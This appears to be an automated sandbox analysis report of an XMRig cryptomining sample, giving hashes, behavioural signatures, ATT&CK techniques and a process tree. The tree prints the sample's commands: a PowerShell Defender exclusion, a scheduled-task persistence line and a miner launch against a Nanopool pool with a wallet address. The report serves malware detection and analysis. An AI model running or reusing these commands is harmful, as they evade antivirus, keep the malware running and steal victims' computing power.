xmrig | 2371a3a7ac61d4daffa56c66420d0bc7ec99f1aa7dd4428f2be4cbb9dc25138f

Analysis

max time kernel
132s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
04-01-2023 23:28

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General

Target

file.exe
Size

882KB
MD5

1b946a8d9e0e30915f241061c5106a3f
SHA1

2cf0b19ef93c46a164b0bc93cbb9f3793cb6c8cf
SHA256

2371a3a7ac61d4daffa56c66420d0bc7ec99f1aa7dd4428f2be4cbb9dc25138f
SHA512

b83858ee0e21c590cd932bbc92cbbf5a88d3458010535f18cfbe2343b99c396f373e788554b2638cfe0b76bca46e6b3734fe44d6b98d546b4252390a31be398f
SSDEEP

24576:qe9E/+x1L3sNSaH3uhbTsjc/BIQ8iU7cG19:qD+sM4UfsXrc2

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/2272-160-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2272-161-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/2272-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2272-163-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2272-165-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2272-167-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	file.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2140 set thread context of 2272	2140	file.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3824	2140	WerFault.exe	80

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4836	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4736	powershell.exe
4736	powershell.exe
2140	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
632	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	file.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeLockMemoryPrivilege	2272	vbc.exe
Token: SeLockMemoryPrivilege	2272	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2272	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 4736	2140	file.exe	81
PID 2140 wrote to memory of 4736	2140	file.exe	81
PID 2140 wrote to memory of 4452	2140	file.exe	83
PID 2140 wrote to memory of 4452	2140	file.exe	83
PID 4452 wrote to memory of 4836	4452	cmd.exe	85
PID 4452 wrote to memory of 4836	4452	cmd.exe	85
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86
PID 2140 wrote to memory of 2272	2140	file.exe	86

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
    3⤵
    - Creates scheduled task(s)
    PID:4836
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2272
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 2140 -s 3648
  2⤵
  - Program crash
  PID:3824

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 436 -p 2140 -ip 2140
1⤵
PID:4088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2140-153-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp

Filesize
10.8MB

Download
memory/2140-139-0x0000000000480000-0x00000000005C4000-memory.dmp

Filesize
1.3MB

Download
memory/2140-170-0x0000000000480000-0x00000000005C4000-memory.dmp

Filesize
1.3MB

Download
memory/2140-136-0x00007FFC62AF0000-0x00007FFC62BAD000-memory.dmp

Filesize
756KB

Download
memory/2140-135-0x00007FFC7B1F0000-0x00007FFC7B202000-memory.dmp

Filesize
72KB

Download
memory/2140-138-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp

Filesize
10.8MB

Download
memory/2140-140-0x00007FFC7E050000-0x00007FFC7E07B000-memory.dmp

Filesize
172KB

Download
memory/2140-169-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp

Filesize
10.8MB

Download
memory/2140-142-0x0000000000480000-0x00000000005C4000-memory.dmp

Filesize
1.3MB

Download
memory/2140-143-0x0000000000480000-0x00000000005C4000-memory.dmp

Filesize
1.3MB

Download
memory/2140-144-0x00007FFC629A0000-0x00007FFC62AEE000-memory.dmp

Filesize
1.3MB

Download
memory/2140-141-0x0000000003210000-0x0000000003253000-memory.dmp

Filesize
268KB

Download
memory/2140-133-0x00007FFC62BB0000-0x00007FFC62C5A000-memory.dmp

Filesize
680KB

Download
memory/2140-146-0x00007FFC7D320000-0x00007FFC7D347000-memory.dmp

Filesize
156KB

Download
memory/2140-168-0x00007FFC61EC0000-0x00007FFC6202A000-memory.dmp

Filesize
1.4MB

Download
memory/2140-159-0x00007FFC7C6A0000-0x00007FFC7C6DB000-memory.dmp

Filesize
236KB

Download
memory/2140-158-0x00007FFC7F050000-0x00007FFC7F0BB000-memory.dmp

Filesize
428KB

Download
memory/2140-157-0x00007FFC5CD20000-0x00007FFC5CE22000-memory.dmp

Filesize
1.0MB

Download
memory/2140-151-0x0000000000480000-0x00000000005C4000-memory.dmp

Filesize
1.3MB

Download
memory/2140-152-0x0000000003210000-0x0000000003253000-memory.dmp

Filesize
268KB

Download
memory/2140-145-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp

Filesize
10.8MB

Download
memory/2140-134-0x00007FFC7EA10000-0x00007FFC7EAAE000-memory.dmp

Filesize
632KB

Download
memory/2140-137-0x00007FFC7E110000-0x00007FFC7E2B1000-memory.dmp

Filesize
1.6MB

Download
memory/2140-156-0x00007FFC63200000-0x00007FFC63235000-memory.dmp

Filesize
212KB

Download
memory/2272-174-0x0000024B3C5A0000-0x0000024B3C5C0000-memory.dmp

Filesize
128KB

Download
memory/2272-171-0x0000024B3C580000-0x0000024B3C5A0000-memory.dmp

Filesize
128KB

Download
memory/2272-167-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2272-166-0x0000024B3C540000-0x0000024B3C580000-memory.dmp

Filesize
256KB

Download
memory/2272-161-0x0000000140343234-mapping.dmp

Download
memory/2272-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2272-163-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2272-173-0x0000024B3C580000-0x0000024B3C5A0000-memory.dmp

Filesize
128KB

Download
memory/2272-165-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2272-164-0x0000024B3AB60000-0x0000024B3AB80000-memory.dmp

Filesize
128KB

Download
memory/2272-160-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2272-172-0x0000024B3C5A0000-0x0000024B3C5C0000-memory.dmp

Filesize
128KB

Download
memory/4452-154-0x0000000000000000-mapping.dmp

Download
memory/4736-148-0x000001C458750000-0x000001C458772000-memory.dmp

Filesize
136KB

Download
memory/4736-147-0x0000000000000000-mapping.dmp

Download
memory/4736-149-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp

Filesize
10.8MB

Download
memory/4736-150-0x00007FFC60ED0000-0x00007FFC61991000-memory.dmp

Filesize
10.8MB

Download
memory/4836-155-0x0000000000000000-mapping.dmp

Download